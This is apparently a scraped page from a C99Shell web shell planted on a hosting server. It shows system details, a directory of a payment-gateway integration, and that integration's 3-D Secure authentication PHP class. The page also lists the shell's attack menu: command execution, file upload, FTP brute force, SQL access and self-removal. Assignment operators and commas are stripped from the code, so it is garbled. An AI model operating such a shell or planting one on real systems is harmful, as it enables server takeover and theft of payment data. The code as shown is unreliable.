!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/IGFS_CG_API/mpi/   drwxr-xr-x
Free 182.51 GB of 490.84 GB (37.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IgfsCgMpiAuth.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once("IGFS_CG_API/mpi/BaseIgfsCgMpi.php");

class 
IgfsCgMpiAuth extends BaseIgfsCgMpi {

    public 
$paRes;
    public 
$md;

    public 
$authStatus;
    public 
$cavv;
    public 
$eci;

    function 
__construct() {
        
parent::__construct();
    }

    protected function 
resetFields() {
        
parent::resetFields();
        
$this->paRes NULL;
        
$this->md NULL;

        
$this->authStatus NULL;
        
$this->cavv NULL;
        
$this->eci NULL;
    }

    protected function 
checkFields() {
        
parent::checkFields();

        if (
$this->paRes != NULL) {
        if (
$this->paRes == "")
            throw new 
IgfsMissingParException("Missing paRes");
        }
        if (
$this->md != NULL) {
        if (
$this->md == "")
            throw new 
IgfsMissingParException("Missing md");
        }

    }

    protected function 
buildRequest() {
        
$request parent::buildRequest();

        
$request $this->replaceRequest($request"{paRes}"$this->paRes);
        
$request $this->replaceRequest($request"{md}"$this->md);

        return 
$request;
    }

    protected function 
setRequestSignature($request) {
        
// signature dove il buffer e' cosi composto APIVERSION|TID|SHOPID|PARES|MD
        
$fields = array(
                
$this->getVersion(), // APIVERSION
                
$this->tid// TID
                
$this->shopID// SHOPID
                
$this->paRes// PARES
                
$this->md); // MD
        
$signature $this->getSignature($this->kSig// KSIGN
                
$fields); 
        
$request $this->replaceRequest($request"{signature}"$signature);
        return 
$request;
    }

    protected function 
getSoapResponseName() {
        return 
"ns1:AuthResponse";
    }

    protected function 
parseResponseMap($response) {
        
parent::parseResponseMap($response);
        
$this->authStatus $response["authStatus"];
        
// Opzionale
        
$this->cavv $response["cavv"];
        
// Opzionale
        
$this->eci $response["eci"];
    }

    protected function 
getResponseSignature($response) {
        
$fields = array(
                
$response["tid"], // TID
                
$response["shopID"], // SHOPID
                
$response["rc"], // RC
                
$response["errorDesc"],// ERRORDESC
                
$response["authStatus"], // AUTHSTATUS
                
$response["cavv"], // CAVV
                
$response["eci"]); // ECI
        // signature dove il buffer e' cosi composto TID|SHOPID|RC|ERRORCODE|AUTHSTATUS|CAVV|ECI
        
return $this->getSignature($this->kSig// KSIGN
                
$fields); 
    }
    
    protected function 
getFileName() {
        return 
"IGFS_CG_API/mpi/IgfsCgMpiAuth.request";
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0178 ]--